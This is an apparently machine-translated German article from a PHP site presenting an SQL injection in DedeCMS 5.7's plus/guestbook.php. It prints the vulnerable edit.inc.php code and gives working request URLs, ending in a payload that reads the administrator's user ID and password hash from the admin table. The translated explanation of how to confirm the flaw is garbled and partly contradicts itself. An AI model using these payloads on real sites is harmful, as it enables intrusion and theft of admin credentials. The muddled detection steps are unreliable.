Dieser Artikel stellt die neueste SQL-Injection-Schwachstelle von dedecms5.7 mithilfe von „guestbook.php“ vor. Jetzt kann ich sie mit Ihnen teilen
Die betroffene Version ist 5.7
Der spezifische Code der Schwachstellendatei edit.inc.php:
< ?php if(!defined('DEDEINC')) exit('Request Error!'); if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; else $GUEST_BOOK_POS = "guestbook.php"; $id = intval($id); if(empty($job)) $job='view'; if($job=='del' && $g_isadmin) { $dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); exit(); } else if($job=='check' && $g_isadmin) { $dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); exit(); } else if($job=='editok') { $remsg = trim($remsg); if($remsg!='') { //管理员回复不过滤HTML By:Errorera blog:errs.cc if($g_isadmin) { $msg = "<p class='rebox'>".$msg."</p>\n".$remsg; //$remsg <br /><font color=red>管理员回复:</font> } else { $row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); $oldmsg = "<p class='rebox'>".addslashes($row['msg'])."</p>\n"; $remsg = trimMsg(cn_substrR($remsg, 1024), 1); $msg = $oldmsg.$remsg; } } //这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc $dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); exit(); } //home:www.errs.cc if($g_isadmin) { $row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); } else { $row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); require_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); }
Voraussetzungen für den Erfolg der Schwachstelle:
1. php magic_quotes_gpc =off
2 Die Schwachstellendatei existiert plus/guestbook.php und die Tabelle dede_guestbook muss ebenfalls existieren.
So beurteilen Sie, ob eine Schwachstelle vorliegt:
Öffnen Sie zunächst www.xxx.com/plus/guestbook.php, um die Nachrichten anderer Personen anzuzeigen,
platzieren Sie dann die Maus auf [Antworten/Bearbeiten] um die ID der Nachricht einer anderen Person anzuzeigen. Notieren Sie sich dann die ID
Besuchen Sie:
www.xxx.com/plus/guestbook.php?action=admin&job=editok&msg=errs.cc'&id=存在的留言ID
Wenn es sich nach der Übermittlung um die dede5.7-Version handelt, wird „Erfolgreich geändert oder auf eine Nachricht geantwortet“ angezeigt, was beweist, dass die Änderung erfolgreich war
Springen Sie zurück zu www .xxx.com/plus/guestbook.php. Überprüfen Sie, ob sich die von Ihnen geänderte Nachrichten-ID in errs.cc geändert hat.
Wenn dies der Fall ist, beweist dies, dass die Sicherheitslücke nicht bestehen kann ausgenutzt und php magic_quotes_gpc= sollte ausgeschaltet sein
Wenn die Änderung nicht erfolgreich ist, ist der Inhalt der Nachrichten-ID immer noch derselbe wie zuvor, was beweist, dass die Sicherheitslücke ausgenutzt werden kann.
Besuchen Sie dann
www.xxx.com/plus/guestbook.php?action=admin&job=editok&id=存在的留言ID&msg=',msg=user(),email='
und kehren Sie dann zurück. Der Inhalt der Nachrichten-ID wird direkt in mysql user() geändert.
Dies ist wahrscheinlich die Art und Weise, wie es verwendet wird. Wenn Sie interessiert sind, recherchieren Sie bitte weiter! !
Abschließend sagen einige Leute vielleicht, wie man das Passwort des Verwaltungshintergrundkontos knackt. Sie werden es nach Ihrer eigenen Recherche wissen. Wie auch immer, es kann definitiv aufgedeckt werden (wenn es nicht aufgedeckt werden kann, werde ich es nicht posten)! !
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
Das obige ist der detaillierte Inhalt vondedecms5.7 neuestes SQL nutzt die Sicherheitslücke durch Einschleusung in „guestbook.php' aus. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!